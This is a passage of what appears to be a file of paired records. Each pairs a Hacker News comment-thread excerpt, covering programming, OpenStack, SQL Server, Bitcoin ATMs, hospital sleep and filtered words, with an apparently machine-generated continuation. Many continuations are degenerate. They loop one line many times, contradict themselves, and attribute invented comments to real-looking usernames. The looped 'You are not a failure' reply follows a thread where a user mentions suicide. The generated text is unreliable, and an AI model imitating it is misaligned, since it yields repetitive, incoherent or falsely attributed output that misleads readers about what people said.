couldn't care less about\nthem.\n"} +{"output_text": "\n\n------\njoshu\nI think you're doing it wrong.\n\nI think you should be working on a project that you care about.\n\n~~~\namorphid\nI do care about it. I just don't know how to get started.\n\n~~~\njoshu\nI think you should start with a project that you care about.\n\n~~~\namorphid\nI don't know what that is.\n\n~~~\njoshu", "input_text": " entire summer staring at C and getting blocked on ridiculous basic\nstuff because I had dumb learning techniques and kept being too ambitious. I\nknow a solid guy who did first-year C three times before he passed._\n\nSounds like we're just using different definitions for \"good\". You seem to\ndefine it as meaning competent, so yes, you and your friend fall into the\ncategory of people who have successfully taught yourself to program computers\ndespite not being wired to do it.\n\nI was talking about the Fred Brooks 10X types when I said \"good\". Those guys\ndidn't drop Comp Sci 101.\n\nAgain, please try not to take it personally. They're not better people than\nyou. They just took to computer programming like everybody else takes to\nbreathing.\n\n~~~\nthereddestruby\nThere's no magic wiring there - humans don't speak computer out of the womb.\nSome people start programming at a younger age than others. Some move on, some\nstick, some take it more seriously, some go on to become great.\n\nIt's like any other thing really. Football, Soccer, Jiujitsu, Ping-Pong, etc.\n\n------\nsethwartak\nWork on something useful, something that has a goal.\n\nBeating your head against a problem for hours is the best way to learn\nsomething (because you learn all the ins and outs of that thing, not just the\npart you were working on).\n\n------\nspooneybarger\nCan you define what you mean by 'on your own'?\n\n~~~\namorphid\nPicked up a few books, wrote basic programs, etc. When it got harder, found\nways to ask people questions. I usually get frustrated when it comes to\nsolving puzzles that aren't linear programs."} +{"output_text": " work\nwell.\n\n------\njedberg\nI've been using OpenStack for a few years now. It's been a great experience.\n\nI've been using it for a few different projects. The first was a small\nproject, a few servers running a few services. The second was a large project\nrunning a few dozen servers. The third was a large project running a few\nhundred servers.\n\nI've been using it for a few different projects. The", "input_text": " OpenStack stuff as we could). We also had a\nRESTful API for clients to also used (some of our clients resold our services\nunder their own names). Some of the backend stuff was a bit \"messy\" in how it\nworked (I won't go into details, but I \"authored\" a fake \"O'Reilly\" \"book\"\n(really just a front \"cover\" mainly) whose mascot was dickbutt) - but despite\nthe mess, overall it worked well, considering all the moving parts (where it\nwould tend to fall down - not always, but enough - was when an upgrade to\nOpenStack was performed).\n\nIn short - we were also one of the few companies running OpenStack in\nproduction. Our owners ended up selling to LeaseWeb, I left - but the idea was\nthat LeaseWeb wanted to transition things to their API and system, and I\nhonestly don't know what happened with all the work and such I was involved in\non the PHP side of things (there was also a point where me and a coworker had\nto quickly ramp up and learn GoLang to make an interface from Rancher/Docker\nover to the Nobis API - that was a fun and interesting experience). I imagine\nthat some portion is still running, but who knows.\n\nI personally think that in the right hands and with the right infrastructure\nOpenStack can be a very workable and working technology. It seemed to work\nwell for the systems we used while I was at Nobis. I don't know honestly\nwhether you could use it to scale up to anything like AWS or Google's\nofferings, but I think for medium-sized stuff like we were doing (or like\nDigital Ocean does - who at the time was our direct competition), it can"} +{"output_text": "\nj_s\nI'm not sure why this is getting so much attention. It's a blog post, not a\nbook.\n\n~~~\nj_s\nI'm not sure why this is getting so much attention. It's a blog post, not a\nbook.\n\n~~~\nj_s\nI'm not sure why this is getting so much attention. It's a blog post, not a\nbook.\n\n~~~\nj_s\nI'm", "input_text": " sides sit down and do a true\ncomparative analysis and then the reader can decide which product suits their\nneeds best.\n\n~~~\nteh_klev\nThanks, saved me the bother of saying this as well.\n\nThat section on \"Reliability\" is pure comedy, the only time I had SQL Server\n\"crash\" was due to faulty hardware. And despite the best efforts of our\nprevious data centre company (who we've since ditched) dropping the ball and\nlosing power across the site multiple times over two years our MS SQL servers\nnever lost any data, despite the rug being pulled whilst under some fairly\nheavy workloads. I should add that neither did any of the MySQL fleet, even\nthe ones running replication.\n\nOne day when I get time I'll get around disembollocking this flawed article. I\ndon't say that as a MS SQL \"fanboy\", but as a DBA with coming on for 20 years\nexperience managing and programming SQL Server in banks, blue chips and ISP's\n(yeah I know, \"appeal to authority\"-fail, but who the hell is this anonymous\nauthor, and what are his credentials?).\n\nEdit: sorry I should add I quite like PostgreSQL, and I'm hoping to roll it\nout as a service offering to our client base in the next few months, so no axe\nto grind from me with regards to its features and capabilities.\n\n~~~\nj_s\nMy experience: SQL Server kicks its NAS off the network due to the NAS's own\nflakiness, but SQL Server has always recovered fine. I've had to boot it in\nsingle-user mode many times to cut the thundering herd down to size on\nstartup/recovery, but then it's back to business.\n\n------"} +{"output_text": "arently I'm not the only one) that the most successful\nfounders I've worked with have had the most successful networks.\n\n~~~\njoshu\nI'm not sure I agree. I've found that the most successful founders I've worked\nwith have had the most successful networks, but the most successful networks\nhave not been the most successful founders.\n\n~~~\ncek\nI agree with you.\n\nI think the most successful founders I've worked with have", "input_text": "ellers to his name. My mother introduced herself and added \"I\nhave to admit I've never actually read any of your books\". \"Excellent!\" the\nauthor replied, \"that means we can talk about something else\". And they spent\nthe entire evening having a really great conversation about all manners of\ntopics. My mother said she could really tell how excited he was to get a\nchance actually talk about something other than his books.\n\n------\nsid6376\nFrom the comments here, I infer, VCs probably don't like being pitched\nunsolicited. Girls don't like being hit on. I have never pitched a VC, so i am\nbasically theorizing here. The trick is not in approaching them, but\napproaching them in a way which does not activate their natural defense\nmechanism. If you come across as interesting the girls will give you\nattention. Its better to lower their defenses with an approach that they don't\nexpect.\n\n~~~\nklipt\nMaybe girls don't like being hit on by the wrong people, or in the wrong way.\nBut ultimately they do want to be approached by the right guys, or they\nwouldn't keep on going to places like bars where one of the main selling\npoints (unless it's a gay bar) is meeting people of the opposite sex.\n\n------\ncek\nGreat article.\n\nThe first thing I do when mentoring noob entrepreneurs/founders is ask them\nabout their networks.\n\n\"How are you growing it?\"\n\n\"Who are your mentors?\"\n\n\"Who are your mentees?\"\n\n\"Who are the big-wigs in your network?\"\n\nI have found, much to my surprise, given that I'm a \"black belt ninja\nnetworker type\" (app"} +{"output_text": "medical device manufacturer\n setup: dumb black & green 24x80 14\" CRT terminal\n Hardware: Honeywell mini\n OS: Honeywell proprietary\n DBMS: Pick (Ultimate Flavor)\n Language: BASIC\n App: Work Order Processing (I wrote from scratch.)\n \n Date: Monday, April 29, 2013\n Age: 57\n Location: Miami, Florida\n Company: ", "input_text": " you on?\n\n------\nZelmor\nI fear the days I might have to spend in a hospital. My hope is that I will\nhave saved enough money to afford home-care and die in my own bed, with a cat\nor a dog nearby.\n\n------\npascalxus\nI would imagine patients in the hospital have much bigger problems than how\nmuch sleep they're getting. They'll probably be awake all night anyways\nworrying about their over-billed hospital bill and how their insurance company\nis going to get out of paying for it.\n\n~~~\nanticensor\nOnly in the private hospitals.\n\n _self-induced sleep deprivation intensifies_\n\n------\nblablablerg\nHospitals aren't persons, so they can't hate anything. Nurses checking your\nvitals signs when necessary!= hating you sleep.\n\nWhy do I hate inflammatory clickbait garbage so much?\n\n \nHow I coded in 1985 - jgrahamc\nhttp://blog.jgc.org/2013/04/how-i-coded-in-1985.html\n======\nedw519\nThat headline got me to thinking...\n\n \n \n Date: Monday, April 29, 1985\n Age: 29\n Location: Santa Ana, California.\n Company: electronics manufacturer\n setup: dumb black & green 24x80 14\" CRT terminal\n Hardware: Honeywell mini\n OS: Honeywell proprietary\n DBMS: Pick (Ultimate Flavor)\n Language: BASIC\n App: Work Order Processing (I wrote from scratch.)\n \n Date: Monday, April 29, 2013\n Age: 57\n Location: Miami, Florida\n Company: "} +{"output_text": " it does give you a lot of experience in dealing with people who are\nnot like you.\n\n~~~\njbooth\nI'm not sure what you're saying.\n\nI'm not saying that the solutions to the most defective countries are\nstraightforward. I'm saying that the solutions to the most defective countries\nare the most straightforward.\n\nI'm not saying that the solutions to the most defective countries are\nstraightforward. I'm saying that the solutions to", "input_text": "third-world country. Not many have. (I have, and it was a dictatorship when I\nlived there, and as a foreign national I was part of the process of nudging it\nto become the democracy it is today.) To be a brother of your fellow human\nbeings is a great adventure. It's harder than armchair criticism, but also\nmore challenging and interesting.\n\n~~~\nrdl\nNot me.\n\nWe mostly know the solutions to fixing the most oppressed or otherwise\ndefective parts of the world; we just don't find it worthwhile to implement\nthose solutions. I could solve 90% Equatorial Guinea's problems for <$10mm and\na promise of immunity from prosecution or extradition by major world powers\n(i.e. places I'd actually be, afterward). Scaling that up for other countries\nis possible, too. For problems not requiring a ballistic solution, Bill Gates\nis doing a seriously effective job of solving the polio problem, and major\nheadway into malaria.\n\nThe solutions to the most defective countries are all pretty straightforward\nand widely known; it's figuring out how to turn decent but not ideal countries\nlike Pakistan into really stable first-world countries which would be hard, or\nfiguring out how to stem the long-term decline in the US. (Yes, there are\nimplementation difficulties in a place like Somalia, but it's because the\nbenefit isn't worth the expense in blood/treasure. The cheap solution is to\nlet the 1% of people who could make their lives a lot better by leaving do\nso.)\n\nThe skills required to solve the harder sociological problems don't really\nhave much overlap with the skills to send people to Mars.\n\nBringing those places up to standard doesn't really give you anything new,\nalthough"} +{"output_text": "_ by Steve Blank.\n\nI've read it twice, and it's changed my life.\n\n------\nmatt_the_bass\nThe 4-Hour Workweek by Tim Ferris.\n\n------\nmatt_the_bass\nThe 4-Hour Workweek by Tim Ferris.\n\n------\nmatt_the_bass\nThe 4-Hour Workweek by Tim Ferris.\n\n------\nmatt_the", "input_text": "from a Canadian university's website. You can't order just any book you want\nhere, so finding this was like finding the door to a new galaxy.\n\n[0]:\n[http://classiques.uqac.ca/classiques/](http://classiques.uqac.ca/classiques/)\n\n------\nblabla_blublu\nFiction :\n\n* Lolita by Vladmir Nabakov ; an absolute master class.\n\n* The Harry Potter series by JK Rowling ; one for the memories!\n\nNon Fiction :\n\n* Letters of Note by Shawn Usher; a compendium of wonderful letters from the past. Highly recommended. [https://www.amazon.com/Letters-Note-Collection-Correspondenc...](https://www.amazon.com/Letters-Note-Collection-Correspondence-Deserving/dp/1452134251/ref=sr_1_1?ie=UTF8&qid=1482110200&sr=8-1&keywords=Letters+of+note)\n\n* Deep work by Cal Newport ; very applicable to the modern day distracted soul.\n\n------\njurgenwerk\nThe Conquest of Happiness by Bertrand Russell. What an enlightenment!\n\n~~~\npeller\nLots of gold in this book. Even though it was published in 1930, just like\nwith _The Prince_ mentioned elsewhere in this thread, human nature changes so\nvery slowly - if at all - that these works are only substantiated by the test\nof time. Definitely a must read.\n\n------\nKaibeezy\n\"Meditations\", Marcus Aurelius - chill, the answer is there\n\n------\nmindcrime\n_The Four Steps To The Epiphany"} +{"output_text": " to C++.\n\n~~~\ndbaupp\nI'm not sure what you mean by \"expansions\", but I'm not sure I'd call them\n\"good reputation\".\n\n~~~\nDonPellegrino\nI'm not sure what you mean by \"good reputation\".\n\n------\njheriko\ni think this is a great example of why you should never use a vector unless\nyou really need to.\n\n~~~\nDonPellegr", "input_text": " much more comprehensive:\n[http://www.open-\nstd.org/jtc1/sc22/wg21/docs/papers/2007/n227...](http://www.open-\nstd.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html)\n\n------\njohnwbyrd\nIf you're spending a lot of time changing the size of a std::vector array,\nthen maybe std::vector isn't the right type of structure to begin with...\n\n------\njudk\nHow is it reasonable to expect that previously freed memory would be available\nlater for the vector to move to?\n\n------\nchickenandrice\nGreetings Facebook, several decades ago welcomes you. Game programmers figured\nout the same and arguably better ways of doing this since each version of\nstd::vector has been released. This is but a small reason most of us had in-\nhouse stl libraries for decades now.\n\nMost of the time if performance and allocation is so critical, you're better\noff not using a vector anyway. A fixed sized array is much more cache\nfriendly, makes pooling quite easy, and eliminates other performance costs\nthat suffer from std::vector's implementation.\n\nMore to the point, who would use a c++ library from Facebook? Hopefully don't\nneed to explain the reasons here.\n\n~~~\ndbaupp\n_> More to the point, who would use a c++ library from Facebook? Hopefully\ndon't need to explain the reasons here._\n\nCould you explain them for those of us not in the loop? Does Facebook have a\nbad reputation for C++?\n\n~~~\nDonPellegrino\nI would also like expanations, because Facebook actually has a good reputation\nwhen it comes"} +{"output_text": "ut's \"Ice-9\"\n\n[https://en.wikipedia.org/wiki/Ice-9](https://en.wikipedia.org/wiki/Ice-9)\n\n------\njlebrech\nI wonder if the ice is a result of the water freezing in the atmosphere.\n\n~~~\njlebrech\nI wonder if the ice is a result of the water freezing in the atmosphere.\n\n------\njlebrech\nI wonder if", "input_text": " payload separation. SpaceX chose to\nstack the satellites on top of each other to save mass and volume that a\nlarger payload adapter would have required. The stacked satellites are held\ntogether by 'tension rods' which are released to let them separate. In today's\nlaunch, you can actually see a rod being released [0]. Normally they lose the\nvideo feed around that time. They separate relatively easily because the\nsecond stage spins up to 'throw' them out. It didn't look worse than during\nother launches.\n\n[https://www.starlink.com/](https://www.starlink.com/) has an image carousel\nwith renders of the satellites and the stack if someone wants to have a closer\nlook.\n\n[0] [https://youtu.be/_j4xR7LMCGY?t=1780](https://youtu.be/_j4xR7LMCGY?t=1780)\n\n------\nmanuelabeledo\nSo, what about upload speeds?\n\n \nFound trapped in a diamond: a type of ice not known on Earth - pulisse\nhttp://www.latimes.com/science/sciencenow/la-sci-sn-water-in-diamonds-20180308-story.html\n======\nlamename\nThis is fascinating. I had no idea ice could take on so many crystalline forms\ndepending on the variety of conditions. Apparently there are other shapes even\nbeyond those mentioned in the article:\n[http://www1.lsbu.ac.uk/water/ice_phases.html](http://www1.lsbu.ac.uk/water/ice_phases.html)\n\n~~~\nfastball\nIf you find this interesting, you might enjoy Kurt Vonneg"} +{"output_text": "I'm curious - what's your last name?\n\n~~~\njasonjei\nI'm not sure if it's a Scunthorpe word, but it's a word that is commonly\nfound in Scunthorpe.\n\n~~~\npavel_lishin\nI'm not sure if it's a Scunthorpe word, but it's a word that is commonly\nfound in Scunthorpe.\n\n------\njwilk\nI'm getting", "input_text": "I'm trying really hard to figure out what's bad about 'Lightwater Country\nPark'\n\n~~~\ndavid-given\nI figured that one out, but --- evaluate? mocha? expression?\n\n~~~\ncscheid\nmocha has a naughty german word in its middle, I'm fairly sure.\n\n~~~\nguitarbill\nNo it doesn't. I believe it can be used for Javascript injections like 'eval'\nas'mocha' is/was common a test framework. At least that's the ostensible\nreason Yahoo replaced 'eval' with'review','mocha' with 'expresso', and\n'expression' to'statement' way back in 2002 [0].\n\n[0] [https://www.newscientist.com//article/dn2546-email-\nsecurity-...](https://www.newscientist.com//article/dn2546-email-security-\nfilter-spawns-new-words)\n\n~~~\njwilk\n\"espresso\", not \"expresso\".\n\n------\naroman\nWhy is the string \"Linda Callahan\" a naughty/Scunthorpe word?\n\n~~~\nue_\nAfter re-reading it I can see it contains \"allah\", but I can't see why that\nwould be filtered.\n\n~~~\njasonjei\nInteresting my last name was blocked from making Genius Bar appointments [0].\nMy name is Jason Hung.\n\n[0]\n[https://discussions.apple.com/thread/1491462?start=10&tstart...](https://discussions.apple.com/thread/1491462?start=10&tstart=0)\n\n~~~\npavel_lishin\n"} +{"output_text": " time than a round\ntrip to a Robocoin.\n\n------\njoshstrange\nI'm not sure I understand the point of this. I can't imagine a scenario where\nI would want to use a Robocoin to buy something. I can't imagine a scenario\nwhere I would want to use a Robocoin to withdraw money.\n\n~~~\njoshstrange\nI guess I'm just not sure what the point of this is. I can't", "input_text": " but rather is a money\ntransmitter, and thus subject to much stricter regulation (such as\nidentification required starting at $0 instead of $1000).\n\n2\\. When was the last time you exchanged foreign money in the U.S.? When I\nlast exchanged foreign currency in the U.S. (in the past few years), I needed\nto provide a photo ID and my social security no. I believe this is strictly\nrequired only when you exchange over $1000, but many exchanges require them\nfor all transactions.\n\n3\\. Note that when you provide a photo ID, the end result is the same as if\nthey had taken a photograph on the spot (your photo is copied and filed).\n\n~~~\nbduerst\nThat makes more sense. Thanks.\n\nIt has been two years since I was last at a foreign currency exchange here,\nand things could have changed since then as well.\n\n------\nasciimo\nThe conventional ATM experience only works because we have already gone\nthrough the pain of identifying ourselves to a bank, usually by sitting across\nthe desk from another human being and filling out forms, during business\nhours. We often have to wait for an ATM card to arrive in the mail afterward.\nI think it's incredible that I can now go to a bar at 1AM for the same\nservice. Plus beer and pool.\n\n~~~\nGoldenMonkey\nReally? I can go to walmart and buy a pre-paid atm card with cash. And then\nuse that card at an atm. No Id process required.\n\n~~~\nSippinLean\nIt's still harder to drive to Walmart during business hours than use a\nRobocoin.\n\n~~~\nceejayoz\nIn many areas a round trip to Walmart will take a lot less"} +{"output_text": "-ed by a\nconservative student who disagreed with the prevailing liberal orthodoxy.\n\n------\njoshuaheard\nI think the author is right, but I think the solution is to make the\nenvironment more hostile to the conservative viewpoint.\n\nI think the problem is that the environment is not hostile enough.\n\n------\njoshuaheard\nI think the author is right, but I think the solution is to make the\nenvironment more hostile to the conservative viewpoint", "input_text": ".com/watch?v=wXF8MIG_HQI](https://www.youtube.com/watch?v=wXF8MIG_HQI)\n\n------\nbwanab\nProf. Haidt was also the co-author of this piece in The Atlantic Monthly:\n[http://www.theatlantic.com/magazine/archive/2015/09/greg-\nluk...](http://www.theatlantic.com/magazine/archive/2015/09/greg-lukianoffs-\nstory/399359/)\n\n------\nAqueous\nas long the definition of the word'safety' has been expanded to include\nremoving any risk of emotional distress from day-to-day life, we might as well\ncall the current campus climate 'unsafe' for anyone who doesn't hold the\nprevailing views. i know i certainly didn't feel'safe' to express the\noccasional disagreement with the majority opinion while at wesleyan, even\nthough i was 99% in agreement with those prevailing views. i felt paranoid\nabout (either accidentally or deliberately) saying the wrong thing and\ntherefore provoking mob justice. 'walking on eggshells' was an understatement.\nthat paranoia felt more than justified when people who had expressed contrary\nopinions were the subject of campus-wide mockery, derision, and ostracism.\n\nbeing reflexively deferential to every conceivable sensitivity causes us to\ndisproportionately look out for the safety of some at the expense of the\noverall atmosphere of civility, dignity, respect, and yes,'safety,' of the\ncampus. it really hit home when recently Wesleyan's campus newspaper lost a\ngood portion of its funding because it dared to publish an op"} +{"output_text": "\nwant to know the answer.\n\n\\- Asking you to sign a contract.\n\n\\- Asking you to sign a contract that you don't understand.\n\n\\- Asking you to sign a contract that you don't understand, and then asking\nyou to sign it again.\n\n\\- Asking you to sign a contract that you don't understand, and then asking\nyou to sign it again.\n\n\\- Asking you to sign a contract that you don't", "input_text": "presented in the review. The slides, after all, are the only thing written\ndown. Insist that the engineers never conveyed any challenges to you. Blame\nthem for delays, overruns, and missing features.\n\nMy lesson learned: never, ever sign your name to a fictional budget, schedule,\nor risk summary.\n\n------\ntempguy9999\nI've rarely had any of that. Mainly I get pervasive bad management from poor\nbut well-meaning managers.\n\nOnly thing I can think of is a long time ago being told if you hit this\ndeadline here's \u00a3X thousand pound bonus for the team. We hit the deadline,\nthey made me redundant next day and told me I wouldn't be getting my share\nbecause \"you should have got it in writing\"[0]\n\nI took them to court and won eventually. Good fun.\n\n[0] Which was a) true but b) plain nasty. Worth repeating at this point, the 3\nlaws of contracting:\n\n1\\. Get it in writing\n\n2\\. Get it in writing\n\n3\\. Get it in writing\n\n~~~\ncrimsonalucard\nWow what was the asshole company that did this?\n\n~~~\ntempguy9999\nLong dead, don't worry you're safe!\n\nEdit: useful lesson though.\n\n------\nnailer\nGeneral employment tricks:\n\n\\- Asking you your current pay. Not answering when you ask them their budget.\nA good answer is to discuss the other offers you have on the table.\n\n\\- Getting private info by asking you to correct something false. \"So you made\n80,000\" will get an answer better than \"How much were you paid?\"\n\n\\- Repeatedly asking you the same question because they don't trust you and"} +{"output_text": " They said they didn't have any money in the\nATM. I asked them to call the ATM company and they said they couldn't do that\nbecause the ATM was not theirs.\n\nI asked them to call the ATM company and they said they couldn't do that\nbecause the ATM was not theirs.\n\nI asked them to call the ATM company and they said they couldn't do that\nbecause the ATM was not theirs.\n\nI asked them to call the ATM company", "input_text": ".\n\n------\nwoah\nThe \"rawness\" he describes has nothing to do with Bitcoin, and everything to\ndo with the laws surrounding fiat money.\n\n~~~\nbillyhoffman\nIt seems to me the \"rawness\" has everything to do with bitcoin and its\ndecentralized design.\n\n1- Needed to create an account for \"their\" exchange. 2- Needed to transfer\nbitcoin into their exchange. 3- Needed to wait for transaction to get\nvalidated in the blockchain 4- Get money.\n\nYou could reach and say that all the PII and initial setup was to comply with\nlaws about banking/money laundering. But that took 7 mins of a 45 min process.\n\n~~~\njes5199\n> 3- Needed to wait for transaction to get validated in the blockchain\n\nThis process is _slow_ and I don't see how it can possibly get faster.\n\nThe best I've come up with is you have a second money-apparatus that moves\nmore quickly. It probably wouldn't have a lot of the currency-like properties\nof bitcoin. I guess the analogy is that sending bitcoin is like writing a\ncheque, and this faster thing would be like using a credit card.\n\n------\nschmichael\nThe long wait times and multiple trips may explain why there are such long\nlines in so many pictures of Bitcoin ATMs.\n\n------\nmcherm\nI had a terrible experience last weekend.\n\nI went down to the corner to get some money out of the ATM. I walked up and\nstuck in my card and the ATM wouldn't give me any money: said something about\nmy card not being supported. So I walked into the bank building adjacent to\nthe ATM and asked them about it."} +{"output_text": " a job offer as a \"promotion\".\n\nYou are not a failure. You are a human being. You are not a failure. You are\na human being. You are not a failure. You are a human being. You are not a\nfailure. You are a human being. You are not a failure. You are a human being.\nYou are not a failure. You are a human being. You are not a failure. You are a\nhuman being. You", "input_text": " to the company.\nThat's good for your taxes.\n\nDo _not_ hire an accountant for anything right now. You'll lose money.\n\nI've lived here for 22 years, had my company for 12, I'm not doing anything\nmagic with it but it pays the bills.\n\nSend me a mail if you want.\n\n------\nmgbelisle\nI lived in Japan and understand what you're talking about. Never started a\ncompany like you or brandelune but I have done endless piles of bank paperwork\nand software tech support in Japanese. Message me directly if you want to talk\nmore, but I would apply for a software job in your home country and if you\nland it then move out of Japan. If the software applications don't land you\nanything then I would stay in Japan as an English teacher and use your\nsoftware knowledge to connect you with higher paying clients like traveling\nsoftware engineers or software company managers.\n\n> I have honestly thought about suicide, or just fleeing the country.\n\nMake sure to tell your closest friend about this. There's no shame at all in\nanything that you've tried so far. And your life is worth _way_ more than\ncorporate success in a country that drowns itself in bureaucratic paperwork.\n\n~~~\nf_allwein\nAlso, please seek some emotional support, e.g. from\n[https://www.samaritans.org](https://www.samaritans.org) (free, confidential,\nnon judgemental).\n\n------\nnoonespecial\nJust so that you see it again: Suicide as a fix for this situation is\nridiculous. (Please note, I'm not saying that _you_ are ridiculous for feeling\nthis way)\n\nIts a perception error like considering"} +{"output_text": ">)\n\n25) AdMob ()\n\n26) AdMob Mobile Ads ()\n\n27) AdMob Mobile Ads for iOS ()\n\n28) AdMob Mobile Ads for Android ()\n\n9) MobYD ()\n\n10) Trademob ()\n\n11) Madvertise ()\n\n12) BuzzCity ()\n\n13) AdModa ()\n\n14) Mojiva ([http://www.mojiva.com/mobile-advertising/monetize-your-\nmobil...](http://www.mojiva.com/mobile-advertising/monetize-your-mobile-app))\n\n15) Hunt Mobile Ads ()\n\n16) Greystripe ()\n\n17) Madhouse ()\n\n18) Jumptap ()\n\n19) Mobile Theory ()\n\n20) Microsoft Mobile Advertising ()\n\n21) xAd ()\n\n22) YP (AT&T) ()\n\n23) Tapgage ()\n\n24) Aditic ( Apple makes and builds high-end products and has the fat margins that goes\n> along with it - instead of outsourcing all manufacturing to China, it could\n> choose to build everything in the US, employ the locals and use that as a\n> selling point.\n\nWhy do you assume Americans are more deserving of Apple's"} +{"output_text": "\u2014but\nI'm not going to complain about them.\n\n~~~\ndiminoten\nI'm not complaining about Amazon, I'm complaining about the fact that you\ndon't know why you don't do what you're saying.\n\n~~~\nbhauer\nI'm not complaining about Amazon, I'm complaining about the fact that you\ndon't know why you don't do what you're saying.\n\n------\njoshstrange\nI've been using the", "input_text": "41LS/ref=pd_sbs_bt_23)\n\n$13 dollars you have at least a years worth of blades for even the thickest\nbeards. Also you will get a shave that is worlds better then the one from DSC.\n\n~~~\ndiminoten\nBecause it's not about the blades, it's about the stream of blades.\n\nConsider the same question for basically every nonperishable you purchase -\nwhy are you not buying in large bulk and saving? I can think of a dozen items\nI could buy in bulk and save money on that I currently don't.\n\nActually, now that I think about it, why _don 't_ I buy in bulk? I totally\ncould. Why don't people in general buy in bulk?\n\nAnyway, it's the same answer for your toilet paper as it is for your razors,\nor your shampoo, or your paper towels. I don't apparently know that answer,\nbut I assume that's why people don't do what you're saying.\n\n~~~\nbhauer\nAmazon offers their \"Subscribe and Save\" service on many products (not the one\nlinked above, however). Amazon's subscription service provides a continuous\nstream of many staples such as paper products, toothpaste, tooth brushes, cat\nfood, etc. to my household. It works great.\n\nAside: I live in Los Angeles and am trying out Amazon Fresh. If anything,\nAmazon now offers me an almost-confusing multitude of ways to have products\ndelivered to my house. I can Prime things for receipt in two days. I can\nsubscribe and forget. I can Fresh things for next-day delivery. I'm not an\nAmazon fan boy\u2014many of their services frustrate me in a variety of ways"} +{"output_text": "which is admittedly\nlimited), I've seen people who are very conservative in their politics, but\nwho are also very liberal in their personal lives. I've seen people who are\nvery liberal in their politics, but who are also very conservative in their\npersonal lives. I've seen people who are very liberal in their politics, but\nwho are also very conservative in their personal lives. I've seen people who\nare very conservative in their politics, but who are also very liberal in their", "input_text": " How many of you would say you are on the\n> right politically, or that you are conservative or Republican?\n\nThis is a fundamental misunderstanding of how discourse is conducted and\nshould be conducted. _People_ are not on the right politically, conservative,\nor Republican. People are people, and each might hold or articulate viewpoints\nor opinions that are on the right politically or conservative. They might be a\nmember of the Republican Party. All of these are elective and potentially\ntemporary.\n\nThe whole point of discourse is that viewpoints, opinions, and memberships can\nchange. So to start by framing those as elements of identity needing\nprotection, feeds directly into a framework for discussion that is conflicted.\nIf a discussion must validate and protect all viewpoints (conservative or\nliberal), then what is going to be discussed?\n\nIMO the right way to approach this situation is to explore the potential\nconsequences of voicing an unpopular opinion. Often, they are far less scary\nthan teenagers might suppose. We should focus on how to give each individual\nstudent the mental tools to effectively evaluate arguments, and to manage\ntheir anxiety about going against perceived social norms.\n\nTeaching kids to be brave in speaking up against prevailing opinion can help\ncreate positive outcomes throughout their lives. We _want_ citizens who will\nspeak up for what they know is right, even if they know they will face\ntrouble.\n\n~~~\nsanderjd\n> We want citizens who will speak up for what they know is right, even if they\n> know they will face trouble.\n\nI thought your comment was really good, but I don't think this conclusion is\n_quite_ right. The problem is that lots of different people \"know\" that lots\nof different things are \"right\". In my life experience ("} +{"output_text": "told them to leave her alone, and if a doctor came in, I told them to leave\nher alone. I was very worried about her health and well-being.\n\nI'm not sure if this is a cultural thing, or if it's just the way things are\ndone in the US, but I'm glad to see Elixir is getting some attention.\n\n~~~\nmatt_the_bass\nI\u2019m not sure if this is a cultural thing", "input_text": " were Nicolas Sarkozy (12 millions viewers), Arnaud Montebourg (9\nmillions) and lately Alain Jupp\u00e9 (13 millions)._\n\nI would like to see the results of the two other guests.\n\n~~~\nconradfr\nThere has only been three shows so far IIRC.\n\n------\nconradfr\nAs a French trying Elixir these last few months (don't have much time for Elm)\nit's great seeing the language picking up some hype.\n\nAt work I don't see it happening though, we're a PHP shop now addind nodejs\n(to my despair) and maybe some Go. I think there is a Haskell fan and that's\nit.\n\n \nWhy Do Hospitals Hate Sleep So Much? - curtis\nhttps://www.motherjones.com/kevin-drum/2018/12/why-do-hospitals-hate-sleep-so-much/\n======\nmattjaynes\nI recently had a family member in the intensive care unit (ICU) for over a\nmonth in Austin, Texas. I quickly learned my main contribution would be\nprotecting her sleep when I saw she hadn't slept in days because of the\nconstant interruptions. She went from reasonable and compliant in taking her\nmedication, to extremely irritated and noncompliant with the doctors. Of\ncourse I could see this was due to sleep deprivation, but when I kept bringing\nthis up to the doctors and nurses, they gave me blank stares and didn't seem\nto believe or care. When they started suggesting another surgery due to her\nnot improving, I nearly lost my sanity. Ultimately, I had to become a very\nvocal and unpleasant protector of her sleep - if a nurse came in, I quickly\n"} +{"output_text": "in Chinese).\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nDHowett\nI think the point is that the Arduino is a general-purpose microcontroller\nwith a large community of users, and the Y\u00fan is a general-purpose microcontroller\nwith a large community of users.\n\n~~~\njoshu\n", "input_text": " I/O, that would be cool.\n\n~~~\nDHowett\nThey more likely meant the Arduino-specific term \"sketch\", which has been co-\nopted to mean things unrelated to both the language and the art form.\n\n~~~\nVLM\nEven more embarrassingly I was thinking of the \"scratch\" programming language.\nSorry. Being able to upload scratch as a sketch to your yun to animate a\nsketch would be cool.\n\nThe desire for a rasp-pi with the shape and form and I/O plug compatible with\nthe arduino shield ecosystem is probably a common desire and I hope it arrives\nsoon. Someday there will be an arduino running sketch with a COTS arduino\nmotor shield (or whatever) plugged into it.\n\n------\n31reasons\nI am not a hardware guy so pardon my ignorance, but my question is, if you\nalready have a full general purpose computer running linux on a board, why do\nyou need Arduino on that board also? can't you just connect sensors directly\nto the linux box?\n\n~~~\nwiredfool\nThe arduino has a nice set of shields for interfacing with sensors and other\nhardware. Its gpio outputs also tend to be more convenient than the GPIO from\nthe PI.\n\n------\nbrohoolio\nI contributed to a project which is doing something similar. It's a bit better\nbecause it has a low power transmitter for communication between units.\n\n\n\n------\ngbog\nI wonder if some day we will see cool things with real Chinese names, I mean\nChinese characters. Here it would be Arduino\u4e91\n\n------\nstupandaus\nFor those curious, Y\u00fan means cloud ("} +{"output_text": "ly, you're going to have to print more money.\n\nThe problem with inflation is that, if you're trying to control the money\nsupply, you're going to have to print less money.\n\nThe problem with both is that you're going to have to print more money.\n\n~~~\n001sky\n_The problem with deflation is that, if you 're trying to control the money\nsupply, you're going to have to print more money._", "input_text": "\n\n~~~\nNursie\nYup. Total disasters. Higher standard of living than any humans in history,\nbut Japan, Europe and the USA are somehow failed economies and total disaster\nzones.\n\nWhat colour is the sky on your planet?\n\n~~~\njazzyk\nI think the poster above is talking about the trends, not the absolute level\nof wealth. The standard of living in the US has been stagnant (even declining,\nfor the lower-middle class) since 2000. Japan has been stagnant since the\nreal-estate bubble burst in the 80s.\n\n------\nap22213\nAll this pro-deflation talk makes me feel like I've walked into a Christian\nScience convention.\n\n~~~\n001sky\nAre you really that proud of the status quo? lets see, we'll take a bunch of\nbank acounts, 